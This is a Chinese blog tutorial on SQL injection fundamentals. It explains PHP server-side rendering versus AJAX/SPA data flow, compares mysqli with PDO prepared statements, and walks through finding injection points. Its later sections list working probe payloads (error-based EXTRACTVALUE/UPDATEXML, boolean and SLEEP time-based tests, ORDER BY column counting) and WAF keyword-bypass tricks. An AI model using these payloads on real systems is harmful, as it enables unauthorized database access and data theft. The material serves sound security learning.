本文旨在介绍sql注入前置知识,讲解数据在浏览器与服务端之间的传输过程,以及sql注入点的判断

传统C/S间的数据交互-服务端渲染
要充分了解sql注入的本质,首先要理解web服务都是如何实现的,客户端与服务端之间是如何传递数据的,传递了什么样的数据,两端又是如何处理数据的
就以一个简易靶场为例:SuperDemon921/sqli_lab: 自建 sql 靶场 ,html数据交互的过程大致是:
浏览器发 HTTP 请求
↓
Nginx
↓
PHP解释器(执行 .php 文件)
↓
PHP 边执行、边向输出缓冲区 echo 字符串
↓
HTTP 响应(Content-Type: text/html)
↓
浏览器渲染整个过程没有前端框架,没有 AJAX,就是PHP 直接把字符串拼成完整的 HTML,然后通过 HTTP 响应体一次性发给浏览器,这叫php服务端渲染
第一步:page_header() — 输出 HTML 骨架的开头
当浏览器请求 /sql/index.php,PHP 执行的第一件有意义的事是:
page_header('SQL 注入研究平台');
这个函数在 _lib/debug.php 里,核心是一个 echo <<<HTML ... HTML;(Heredoc 语法),它会把一整段字符串直接输出:

注意:</body></html> 还没有出现,HTML 此时是"半开口"的,等待后续内容填充进来。
第二步:数据库查询结果 → 动态拼入 HTML

这里发生了什么:
- PHP 去 MySQL 查
SELECT VERSION() - 把结果
8.0.28(举例)取出来 - 用
htmlspecialchars()转义(防 XSS) - 拼成字符串
<span ...>● 已连接 MySQL 8.0.28</span> echo到输出流
浏览器收到的就是这段 HTML,完全感知不到背后经历了一次数据库查询。
第三步:foreach 循环 → 动态生成目录列表
$modules = [ /* 一个大数组,定义了每个模块 */ ];
foreach ($modules as $dir => $mod) {
$color = $mod['color'];
echo "<h3 style='color:{$color}'>{$mod['title']}</h3><ul>";
foreach ($mod['items'] as [$file, $desc]) {
$href = "/sql/{$dir}/{$file}";
$ext = pathinfo($file, PATHINFO_EXTENSION);
$icon = $ext === 'php' ? '⚙' : '📄';
echo "<li><a href='{$href}'>{$icon} {$file}</a> — {$desc}</li>";
}
echo '</ul>';
}PHP 每循环一次,就 echo 一段 HTML 片段。以 01_union 为例,输出是:
<h3 style='color:#ce9178'>01 UNION 注入</h3>
<ul>
<li><a href='/sql/01_union/vuln.php'>⚙ vuln.php</a> — 漏洞版本 —— 字符型 / 数字型</li>
<li><a href='/sql/01_union/fix.php'>⚙ fix.php</a> — 修复版本</li>
<li><a href='/sql/01_union/notes.md'>📄 notes.md</a> — 测试笔记 & Payload</li>
</ul>第四步:page_footer() — 关闭 HTML
page_footer();
// 内部就是 echo '</body></html>';
至此,整个 HTML 文档闭合。
完整的数据流时序图:
浏览器 Nginx/PHP MySQL
| | |
|── GET /sql/index.php ──> | |
| |── require _lib/db.php |
| |── require _lib/debug.php |
| | |
| |── page_header() ──────────>| (无DB)
| | echo DOCTYPE+<head>+CSS |
| | |
| |── get_conn() ─────────────>|
| |<── mysqli连接 ─────────────|
| |── SELECT VERSION() ───────>|
| |<── "8.0.28" ───────────────|
| | echo <p>已连接 8.0.28</p>|
| | |
| |── foreach($modules...) ────| (无DB)
| | echo 11个模块的 <h3><ul> |
| | |
| |── page_footer() ───────────| (无DB)
| | echo </body></html> |
| | |
|<── HTTP 200 + 完整HTML ──|
| (所有 echo 的总和) |PHP 的 echo 不是真的立即发送,而是写入PHP 输出缓冲区(output buffer)。当脚本执行完毕(或缓冲区满),Nginx 才把整个缓冲区的内容作为 HTTP 响应体发出去。
所以我的靶场每次请求,浏览器收到的是一个完整的、一次性生成的 HTML 字符串,不涉及任何 JS 渲染或前后端分离。

现代框架的数据交互
在传统的数据交互中,前端页面上的每一个字,在 HTTP 响应到达浏览器之前就已经确定了。浏览器只是个"显示器",它拿到什么就显示什么,没有任何主动权。
而现代往往采用AJAX方式,或直接使用前端框架,例如React、Vue
AJAX
AJAX(Asynchronous JavaScript and XML)的本质是:让浏览器在页面已经加载完之后,还能偷偷地再去服务器要数据,然后用 JavaScript 把页面局部更新,不需要整页刷新。
就拿当前的php靶场举例,我要在查询框中查询一个id值,大致过程是这样:
用户点提交
→ 浏览器发 GET /sql/01_union/vuln.php?id=1
→ 整个页面重新加载
→ PHP 重新执行,重新生成完整 HTML
→ 浏览器重新渲染整页(页面会白闪一下)而AJAX:
用户点提交
→ JS 在后台偷偷发请求给 /api/query?id=1
→ 服务器只返回数据(比如 JSON:{"name":"admin","pass":"123"})
→ JS 拿到数据,只更新页面上的那个表格
→ 页面其他部分纹丝不动,没有刷新感所以服务端对应的接口只需要输出 JSON,不需要再输出完整 HTML
前端框架
现代成熟的前端框架React、Vue,则是是把 AJAX 这个思路推向极致的产物,三者核心的区别就是:
谁来负责生成HTML?
| 模式 | HTML 由谁生成 | 服务器返回什么 |
|---|---|---|
| 当前靶场(PHP SSR) | 服务器 PHP | 完整 HTML 字符串 |
| AJAX 局部更新 | 服务器 PHP + 浏览器 JS 各负责一部分 | HTML 骨架 + 零散 JSON |
| React/Vue(SPA) | 几乎全由浏览器 JS 生成 | 一个空壳 HTML + 大量 JS 文件 + JSON 数据 |
就以当前JerryGao博客网站的框架Next.js为例,它就是 React 框架。浏览器收到的初始 HTML 可能只有:
<html>
<body>
<div id="root"></div>
<script src="/main.js"></script> <!-- 这个JS文件几百KB -->
</body>
</html>然后 main.js 在浏览器里运行,JS 自己去请求数据(/api/posts),自己在浏览器内存里构建 DOM 树,自己把页面"画"出来。服务器只负责提供数据接口,不管 HTML 长什么样。
所以面对不同的数据渲染模式,在测试时的思路也会有些许不同:
PHP 服务端渲染(我的靶场)
- 注入点、回显点都在服务端,URL 参数直接触发,Payload 简单直接
- Burp Suite 抓到的请求就是全部,响应体就是完整 HTML
AJAX / 前端框架
- 真正触发数据库查询的不是页面 URL,而是隐藏的 API 端点(
/api/xxx) - 需要在浏览器 Network 面板或 Burp 里找 XHR/Fetch 请求
- 响应是 JSON 而不是 HTML,注入回显可能在 JSON 字段里
- 前端可能还有额外的参数校验,但绕过后服务端如果没过滤照样能注
- 现在主流网站大多是这种架构,真实渗透测试时接口梳理是必做步骤
php控制数据库的方式
当前靶场是通过 PHP 内置的扩展类 mysqli 控制的数据库,全称 MySQL Improved Extension,它封装了与 MySQL 数据库交互的所有功能
PHP 操作 MySQL 目前有三种方式,关系如下:
mysql_* |
mysqli |
PDO |
|
|---|---|---|---|
| 引入版本 | PHP 2.0 | PHP 5.0 | PHP 5.1 |
| 当前状态 | ❌ 已废弃删除 | ✅ 仍在使用 | ✅ 主流推荐 |
| 面向对象 | ❌ 纯函数式 | ✅ 支持 | ✅ 支持 |
| 支持数据库 | 仅 MySQL | 仅 MySQL | 多种数据库 |
| 预处理语句 | ❌ | ✅ | ✅ |
实际生产项目现在基本都用 PDO,因为它支持多种数据库且接口更统一。
mysqli与PDO区别
1. 支持的数据库
这是最根本的区别:
// mysqli 只能连 MySQL
$conn = new mysqli('localhost', 'root', '123456', 'mydb');
// PDO 支持十几种数据库,只需换一行 DSN
$pdo = new PDO('mysql:host=localhost;dbname=mydb', 'root', '123456');
$pdo = new PDO('pgsql:host=localhost;dbname=mydb', 'root', '123456'); // PostgreSQL
$pdo = new PDO('sqlite:/path/to/db.sqlite'); // SQLite
$pdo = new PDO('sqlsrv:Server=localhost;Database=mydb', 'root', '123');// SQL Server业务换数据库时,PDO 只需改一行 DSN 字符串,mysqli 则需要重写所有数据库相关代码。
2. 预处理语句的写法
预处理语句是防止 SQL 注入的核心手段,两者都支持,但 PDO 写起来更简洁:
mysqli 的写法:
// 三步走,且参数绑定必须指定类型 's'=字符串 'i'=整数
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param('s', $username); // 必须手动声明类型
$stmt->execute();
$result = $stmt->get_result();PDO 的写法:
// 支持命名占位符,更直观
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :name");
$stmt->execute([':name' => $username]); // 直接传数组,无需声明类型
$result = $stmt->fetchAll();PDO 还支持问号占位符,两种风格都可以:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);3. 错误处理机制
mysqli 需要每次手动检查:
$result = $conn->query("SELECT * FROM users");
if (!$result) {
echo $conn->error; // 忘记写这行就静默失败了
}PDO 可以统一抛出异常:
// 设置一次,之后所有错误自动抛异常
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
$pdo->query("SELECT * FROM users");
} catch (PDOException $e) {
echo $e->getMessage(); // 统一捕获,不会漏掉任何错误
}4. 获取查询结果的方式
mysqli:
$result = $conn->query("SELECT * FROM users");
$row = $result->fetch_assoc(); // 关联数组
$row = $result->fetch_row(); // 索引数组
$row = $result->fetch_object(); // 对象
// 没有直接 fetchAll,需要手动循环
while ($row = $result->fetch_assoc()) {
$rows[] = $row;
}PDO 更统一:
$stmt = $pdo->query("SELECT * FROM users");
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC); // 直接拿全部,关联数组
$rows = $stmt->fetchAll(PDO::FETCH_OBJ); // 直接拿全部,对象
$rows = $stmt->fetchAll(PDO::FETCH_CLASS, 'User'); // 直接映射到自定义类PDO 成为主流的原因
核心原因是现代软件开发的需求变了,主要体现在三点:
第一,框架驱动开发成为主流
Laravel、Symfony、ThinkPHP 等主流框架都基于 PDO 构建 ORM,开发者几乎不直接写 mysqli,框架替你选好了。
第二,数据库可移植性变得重要
早期小项目用 MySQL 一把梭,现在大型项目可能同时用 MySQL 做业务库、SQLite 做测试、PostgreSQL 做数据分析,PDO 让同一套代码可以无缝切换。
第三,异常机制符合现代编程习惯
现代 PHP 项目大量使用 try/catch 统一处理错误,mysqli 那种每次手动 if (!$result) 的风格显得落后且容易漏写。
如何判断sql注入点
本质上就一句话:向参数中插入特殊字符或逻辑,观察应用行为是否发生可预期的变化。
- 正常参数 → 正常响应
- 构造参数 → 行为改变(报错 / 页面变化 / 延时)→ 注入点存在
第一步:找输入点
注入不只发生在搜索框,所有能把数据带入 SQL 的地方都是潜在注入点:
GET /article?id=1 ← URL 参数
POST /login username=admin ← 表单字段
Cookie: user_id=42 ← Cookie
X-Forwarded-For: 127.0.0.1 ← HTTP 头
Referer: https://xxx.com ← Referer 头
很多开发者只过滤了 GET/POST 参数,忘了 HTTP 头也会被塞进 SQL(比如记录访客 IP 的逻辑)。
第二步:基础探测
单引号测试(最经典)
原始请求:/article?id=1
注入测试:/article?id=1'
可能的反应:
| 反应 | 含义 |
|---|---|
| 页面报错(MySQL syntax error) | 注入点几乎确定存在,且错误信息回显 |
| 页面空白 / 500 错误 | 可能存在,SQL 出错但错误被屏蔽 |
| 页面完全正常 | 可能做了过滤/转义,也可能是数值型注入 |
数值型 vs 字符型
参数类型不同,闭合方式不同:
-- 数值型(后端直接拼数字)
SELECT * FROM news WHERE id = 1
-- 字符型(后端用引号包裹)
SELECT * FROM users WHERE name = 'admin'
-- 其他(括号包裹等)
SELECT * FROM users WHERE name = ('admin')判断是数值型还是字符型:
/article?id=1 → 正常
/article?id=1' → 报错(字符型,引号破坏了结构)
/article?id=1 and 1=1→ 正常(数值型注入特征)
/article?id=1 and 1=2→ 页面异常(数值型注入确认)
AND 1=1和AND 1=2能判断注入,依赖的是一个前提:这两个表达式被数据库真正执行了,而不是被当成普通字符串。
注入 1 and 1=1:
-- 输入:1 and 1=1
SELECT * FROM article WHERE id = 1 AND 1=1
-- WHERE 条件:id=1 为真,1=1 为真,TRUE AND TRUE = TRUE
-- 返回 id=1 的文章,和正常一样注入 1 and 1=2:
-- 输入:1 and 1=2
SELECT * FROM article WHERE id = 1 AND 1=2
-- WHERE 条件:id=1 为真,1=2 为假,TRUE AND FALSE = FALSE
-- 整个 WHERE 条件为假,没有任何行满足条件
-- 返回空结果,页面异常第三步:逻辑验证(确认注入而非误报)
单引号报错不够可靠,可能只是应用自己的参数校验。需要用逻辑构造来二次确认:
永真 / 永假对比法
原始:/article?id=1
永真:/article?id=1 and 1=1 → 应该与原始页面相同
永假:/article?id=1 and 1=2 → 应该页面异常(无数据 / 空白)
三次请求,行为符合预期 → 注入确认。
字符型的写法:
/article?id=1' and '1'='1 → 正常
/article?id=1' and '1'='2 → 异常
算术运算法(更隐蔽)
/article?id=1 → 返回 id=1 的文章
/article?id=2-1 → 如果返回的也是 id=1 的文章,说明表达式被执行了
如果 2-1 被当成字符串处理,数据库会找 id='2-1' 这条记录(不存在),页面为空。 如果 2-1 被作为 SQL 表达式计算,返回 id=1 的结果 → 注入存在。
第四步:按回显情况分路判断
注入点存在
│
├── 有报错信息回显
│ └── 报错注入(EXTRACTVALUE / UPDATEXML)
│
├── 有正常数据回显
│ └── UNION 注入(先探列数,再提数据)
│
├── 页面有真/假差异(有数据 vs 无数据)
│ └── 布尔盲注
│
└── 页面无任何差异
└── 时间盲注(SLEEP)
第五步:各类型专项探测
报错注入探测
' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))--
' AND UPDATEXML(1, CONCAT(0x7e, database()), 1)--
如果页面返回类似 XPATH syntax error: '~5.7.38' → 报错注入可用。
布尔盲注探测
' AND 1=1-- → 有数据
' AND 1=2-- → 无数据两次响应内容长度不同 → 布尔盲注可用。
用 LENGTH() 进一步确认:
' AND LENGTH(database())=8-- → 数据库名长度是否为8时间盲注探测(最后手段)
' AND SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--响应延迟约 5 秒 → 时间盲注可用。
注意: 要多测几次排除网络波动,单次延迟不能作为确认依据。
UNION 注入探测
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10-- ← 报错,说明列数小于10
-- 二分法定位精确列数注释符的选择
不同数据库的注释符不一样,MySQL 常用的:
-- 单行注释(注意后面要有空格:-- )
-- - 带连字符,更保险
# MySQL 特有(URL 编码为 %23)
/**/ 多行注释,也可用于绕过空格过滤URL 中 # 会被浏览器截断,要用 %23 代替:
/article?id=1' ORDER BY 3%23
编码与绕过初探
WAF 可能拦截明文的 union、select,基础绕过:
-- 大小写混写
UniOn SeLeCt
-- 内联注释分割关键字
UN/**/ION SEL/**/ECT
-- URL 编码
%55nion %53elect (U=0x55, S=0x53)
-- 双写(针对简单替换过滤)
UNunionION SELselectECT实战判断流程总结
① 找所有输入点(URL参数、POST、Cookie、Header)
↓
② 单引号测试 → 观察响应变化
↓
③ 永真/永假逻辑对比 → 确认是真注入还是误报
↓
④ 判断回显类型
├── 有报错 → 报错注入
├── 有回显 → UNION注入(ORDER BY探列数)
├── 有差异 → 布尔盲注
└── 无差异 → 时间盲注
↓
⑤ 提取 information_schema 中的库表结构
↓
⑥ 定向查询目标数据
手工判断完之后,实际渗透测试中通常会用 sqlmap 自动化验证,但手工判断的逻辑是 sqlmap 背后做的事情,理解了原理才能在 sqlmap 被拦截时知道如何手工绕过。
版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。
原文链接:https://www.jerrygao.cn//blog/sqlE6B3A8E585A5E5BA95E5B182E58E9FE79086E8AFA6E8A7A3
评论 0
还没有评论,成为第一个留言的人吧!
